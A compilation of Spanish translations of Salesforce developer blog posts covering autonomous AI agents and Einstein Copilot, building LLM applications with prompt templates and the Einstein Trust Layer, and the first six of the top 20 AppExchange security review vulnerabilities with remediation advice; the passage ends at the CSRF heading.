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Modelo de datos de auditoría y retroalimentación Einstein de Data Cloud ☁️

Modelo de datos de auditoría y retroalimentación Einstein de Data Cloud ☁️

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Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

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Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

